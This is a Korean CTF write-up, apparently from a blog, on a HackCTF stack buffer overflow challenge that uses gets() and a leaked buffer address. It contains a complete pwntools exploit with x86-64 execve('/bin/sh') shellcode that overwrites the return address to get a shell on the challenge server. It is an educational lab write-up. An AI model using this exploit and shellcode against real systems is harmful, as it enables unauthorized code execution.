int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[27952]; // [rsp+0h] [rbp-6D30h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
puts(&s);
printf("buf: %p\n", v4);
gets(v4);
return 0;
}
문제 코드는 위와 같다. main 함수의 ret을 바로 덮어씌우려고 했으나 aslr이 걸려있어서 매번 주소가 바뀌기 때문에 문제에서 주어진 buf 주소를 사용해야한다. buf주소를 받을 때 puts로 주소를 출력할 때는 8바이트 크기로 받았었는데 ㅣ번 문제에서는 printf로 주소를 출력해서 그런지 16바이트 크기로 받아야 주소를 받을 수 있다. 아마 16진수 2개가 1바이트가 아니라 문자열로 인식되서 0x까지 포함 14개의 char형으로 취급되어 16바이트로 계산해야한다. 익스플로잇 코드는 아래와 같다. ret에는 쉘코드의 주소를 ret+8에는 쉘코드를 삽입하여 쉘을 탈취할 수 있다.
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3005)
#shell=0x7fffffffe390
r.recvuntil("buf: ")
buf=int(r.recv(14),16)
print(hex(buf))
payload=b"A"*27960 + p64(buf+27968) + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
r.send(payload)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] Offset (0) | 2021.09.14 |
---|---|
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.09.13 |
[HackCTF] x64 Buffer Overflow (0) | 2021.09.13 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.09.12 |
[HackCTF] Basic_BOF #2 (0) | 2021.09.12 |
댓글